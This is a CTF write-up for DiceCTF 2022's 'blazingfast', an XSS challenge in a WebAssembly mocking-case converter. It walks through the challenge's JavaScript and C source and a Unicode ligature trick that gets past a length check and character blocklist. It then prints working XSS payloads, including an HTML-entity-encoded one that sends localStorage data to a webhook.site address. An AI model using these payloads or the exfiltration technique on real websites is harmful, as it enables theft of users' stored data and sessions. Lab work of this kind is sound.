Published on

DICE CTF 2022 – blazingfast

Authors

blazingfast

by larry

I made a blazing fast MoCkInG CaSe converter!

blazingfast.mc.ax

Admin Bot

Downloads

blazingfast.tar

admin-bot.js

blazingfast.c

We start by noticing that we have a challenge link and an admin bot link which means this challenge is an XSS challenge. We start with browsing the website and testing it’s normal behaviour as shown below:

website.png

Moving to the source code, we start by analyzing index.html:

let blazingfast = null

function mock(str) {
  blazingfast.init(str.length)

  if (str.length >= 1000) return 'Too long!'

  for (let c of str.toUpperCase()) {
    if (c.charCodeAt(0) > 128) return 'Nice try.'
    blazingfast.write(c.charCodeAt(0))
  }

  if (blazingfast.mock() == 1) {
    return 'No XSS for you!'
  } else {
    let mocking = '',
      buf = blazingfast.read()

    while (buf != 0) {
      mocking += String.fromCharCode(buf)
      buf = blazingfast.read()
    }

    return mocking
  }
}

function demo(str) {
  document.getElementById('result').innerHTML = mock(str)
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
  blazingfast = instance.exports

  document.getElementById('demo-submit').onclick = () => {
    demo(document.getElementById('demo').value)
  }

  let query = new URLSearchParams(window.location.search).get('demo')

  if (query) {
    document.getElementById('demo').value = query
    demo(query)
  }
})

As you can see, we can input data in the demo parameter and the data provided will be processed by blazingfast.mock() which is originating from the blazingfast.c provided:

int length, ptr = 0;
char buf[1000];

void init(int size) {
	length = size;
	ptr = 0;
}

char read() {
	return buf[ptr++];
}

void write(char c) {
	buf[ptr++] = c;
}

int mock() {
	for (int i = 0; i < length; i ++) {
		if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
			buf[i] += 32;
		}

		if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
			return 1;
		}
	}

	ptr = 0;

	return 0;
}

Several checks are made on our input. Our input can’t be more than 1000 characters and a few characters are blacklisted: [<, >, &, "].

After a lot of trial and error we had an idea that in order to bypass these checks and execute our JavaScript payloads we need to bypass the 1000 characters.

too_long

We stumbled upon an article talking about Exploiting XSS with 20 characters limitation by using unicode characters. In this article, the author gives us a great example:

Notice that ff characters is only one character but when browsers interpret it, it will be expanded as ff two characters.

We proceed by testing this idea by sending around 600 which would unpack to 1200 characters. We don’t get any error as shown below:

No Error

This is because "ffi".toUpperCase() becomes "FFI". The string written to WSAM module is the converted one (disregarding the memory allocated), but the length reported was of the original string. This discrepancy allowing us to write 3n+m3n+m characters to the memory with only n+mn+m bytes checked for blacklisted characters, thus bypassing the check.

We proceed by using this technique and adding to it our XSS payload to see if we can pop an alert:

 ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=alert(1)>

To our surprise, we get an error ALERT is not defined:

ALERT_ERROR

The issue here is that all our payload will be in upper case letters. We came up with a workaround by using XML encoding followed by URL encoding as following:

 ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>

And we popped an alert! XSS Alert

We continue by crafting a payload to extract the flag and send it back to our webhook.

<img src=x onerror=location.href='https://webhook.site/38689352-bda5-4841-80e3-4a48e1655deb?q='.toLowerCase()+localStorage.getItem('flag'.toLowerCase())>

After XML and URL encoding our input we send it to the admin bot as shown below:

ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=&#X6c;&#X6f;&#X63;&#X61;&#X74;&#X69;&#X6f;&#X6e;.&#X68;&#X72;&#X65;&#X66;=&#X27;https://webhook.site/38689352-bda5-4841-80e3-4a48e1655deb?q=&#X27.&#X74;&#X6f;&#X4c;&#X6f;&#X77;&#X65;&#X72;&#X43;&#X61;&#X73;&#X65;()&#X2B;&#X6c;&#X6f;&#X63;&#X61;&#X6c;&#X53;&#X74;&#X6f;&#X72;&#X61;&#X67;&#X65;.&#X67;&#X65;&#X74;&#X49;&#X74;&#X65;&#X6d;(&#X27;flag&#X27;.&#X74;&#X6f;&#X4c;&#X6f;&#X77;&#X65;&#X72;&#X43;&#X61;&#X73;&#X65;())>

Finally we receive our flag from the server:

SUCCESS